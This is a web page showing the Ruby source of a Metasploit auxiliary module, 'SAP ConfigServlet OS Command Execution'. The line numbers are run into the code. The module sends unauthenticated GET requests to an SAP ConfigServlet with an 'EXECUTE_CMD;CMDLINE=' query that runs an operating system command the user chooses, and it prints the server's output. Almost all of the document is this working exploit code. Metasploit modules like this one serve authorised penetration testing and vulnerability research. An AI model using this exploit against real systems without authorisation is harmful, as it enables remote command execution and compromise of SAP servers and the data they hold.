Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'SAP ConfigServlet OS Command Execution',11'Description' => %q{12This module allows execution of operating system commands through the SAP13ConfigServlet without any authentication.14},15'Author' =>16[17'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)18'Andras Kabai' # Metasploit module19],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '92704' ],24[ 'EDB', '24963' ],25[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']26],27'DisclosureDate' => '2012-11-01' # Based on the reference presentation28))2930register_options(31[32Opt::RPORT(50000),33OptString.new('CMD', [ true, 'The command to execute', 'whoami']),34OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])35])36end3738def run39begin40print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])41uri = normalize_uri(target_uri.path, 'ConfigServlet')4243res = send_request_cgi(44{45'uri' => uri,46'method' => 'GET',47'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])48})49if !res or res.code != 20050print_error("#{rhost}:#{rport} - Exploit failed")51return52end53rescue ::Rex::ConnectionError54print_error("#{rhost}:#{rport} - Failed to connect to the server")55return56end5758if res.body.include?("Process created")59print_good("#{rhost}:#{rport} - Exploited successfully\n")60print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")61print_line("#{rhost}:#{rport} - Output: #{res.body}")62else63print_error("#{rhost}:#{rport} - Exploit failed")64vprint_error("#{rhost}:#{rport} - Output: #{res.body}")65end66end67end686970